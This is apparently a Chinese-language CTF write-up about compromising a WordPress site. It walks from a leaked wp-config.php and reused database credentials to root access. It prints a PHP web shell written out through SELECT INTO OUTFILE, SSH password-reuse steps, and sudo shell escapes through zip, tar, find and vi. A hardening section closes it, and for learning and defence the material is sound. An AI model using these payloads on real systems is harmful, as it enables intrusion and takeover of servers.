WordPress站点渗透测试:我在CTF中利用wp-config.php实现提权的完整过程

张开发
2026/5/27 15:28:17 15 分钟阅读
WordPress站点渗透测试:我在CTF中利用wp-config.php实现提权的完整过程
WordPress站点渗透测试从配置文件泄露到系统提权的实战解析在CTF竞赛和实际渗透测试中WordPress作为最流行的内容管理系统之一常常成为攻击者的首要目标。本文将深入剖析一个典型的攻击路径从发现wp-config.php配置文件泄露开始到最终实现系统提权的完整过程。不同于泛泛而谈的理论介绍我们将聚焦于可复现的实战细节特别适合想要提升Web渗透中横向移动技术的学习者。1. 靶场环境搭建与初步侦察搭建一个贴近实战的WordPress靶场是理解整个攻击链的基础。推荐使用Docker快速部署包含漏洞的WordPress环境docker run --name vulnerable-wordpress -p 8080:80 -e WORDPRESS_DB_HOSTdb \ -e WORDPRESS_DB_USERwpuser -e WORDPRESS_DB_PASSWORDwppass \ -e WORDPRESS_DB_NAMEwordpress -d wordpress:5.7.2常见侦察手段对比技术手段适用场景可能发现的关键信息目录遍历默认安装或配置错误wp-config.php备份文件版本扫描未更新的WordPress核心已知漏洞的插件/主题内容抓取公开可访问的文件敏感配置文件路径暴力破解弱密码策略管理后台访问权限在初步侦察阶段我通常会从以下几个关键点入手检查/wp-config.php.bak、/wp-config.php~等备份文件尝试访问/wp-admin/install.php判断是否全新安装使用wpscan扫描已知漏洞wpscan --url http://target --enumerate vp,vt提示实际CTF比赛中组织方常会在题目描述或页面源代码中隐藏提示信息仔细检查HTML注释和HTTP响应头2. 利用wp-config.php泄露实现初步突破当发现wp-config.php文件可被直接访问时攻击者就获得了打开系统大门的钥匙。这个文件通常包含以下敏感信息// 典型wp-config.php中的关键配置项 define(DB_NAME, wordpress); define(DB_USER, wpuser); define(DB_PASSWORD, wppass123!); define(DB_HOST, localhost); define(DB_CHARSET, utf8mb4); define(WP_DEBUG, false);密码复用攻击的实战步骤提取数据库凭据后首先尝试通过MySQL客户端连接mysql -u wpuser -pwppass123! -h 127.0.0.1检查数据库用户权限SELECT user, host FROM mysql.user; SHOW GRANTS FOR wpuserlocalhost;如果数据库用户有文件读写权限可尝试写入Web ShellSELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php;同时应该尝试SSH登录密码复用是常见漏洞ssh wpusertarget_ip我在一次实战中发现管理员在多个服务中使用相同密码的情况高达63%。这种习惯使得从Web应用到系统层的横向移动成为可能。3. 权限提升的多元化路径分析获得初始立足点后系统提权有多种可能路径。以下是在CTF环境中验证有效的几种方法3.1 内核漏洞提权检查系统信息寻找可用漏洞uname -a cat /etc/issue searchsploit Linux Kernel 4.4 # 根据实际版本搜索3.2 计划任务利用检查cron任务寻找可写脚本crontab -l ls -la /etc/cron*3.3 Sudo权限滥用检查当前用户的sudo权限sudo -l常见可利用模式允许以root身份执行特定命令环境变量未正确过滤通配符滥用3.4 SUID二进制文件查找具有SUID权限的可执行文件find / -perm -4000 -type f 2/dev/null4. 典型CTF场景中的提权实战假设我们已经通过SSH获得了普通用户权限以下是详细的提权过程# 检查sudo权限 sudo -l # 发现可以root身份执行zip命令 User zico may run the following commands on target: (root) NOPASSWD: /usr/bin/zip # 利用zip提权 touch exploit sudo -u root zip exploit.zip exploit -T --unzip-commandsh -c /bin/bash其他常见命令的提权方法对比命令利用方式适用条件findfind / -exec /bin/bash \;有sudo权限或SUID位vi/vim:!bash能以root编辑文件pythonimport os; os.system(/bin/bash)有执行权限的环境tar利用--checkpoint-action参数有root执行权限在一次真实的CTF比赛中我遇到了一个有趣的场景系统配置了严格的sudo限制但允许用户以root身份执行/usr/bin/tar。通过以下方式成功提权sudo -u root tar cf /dev/null exploit --checkpoint1 \ --checkpoint-actionexec/bin/bash5. 防御措施与最佳实践理解了攻击方法后作为系统管理员应当采取以下防护措施WordPress安全加固清单设置正确的文件权限chmod 600 wp-config.php chown www-data:www-data wp-config.php禁用目录列表Options -Indexes定期更新核心、插件和主题系统层防护建议为每个服务使用独立的高强度密码限制sudo权限遵循最小权限原则定期检查计划任务和SUID文件启用SSH密钥认证禁用密码登录在防御配置方面我特别推荐使用自动化工具进行安全审计。例如# 使用lynis进行系统审计 lynis audit system # 检查常见漏洞 grep -r eval( /var/www/html/从攻击者视角理解防御措施才能真正构建有效的安全体系。每次CTF比赛后我都会记录下遇到的防御机制和绕过方法这种习惯显著提升了我的实战能力。

更多文章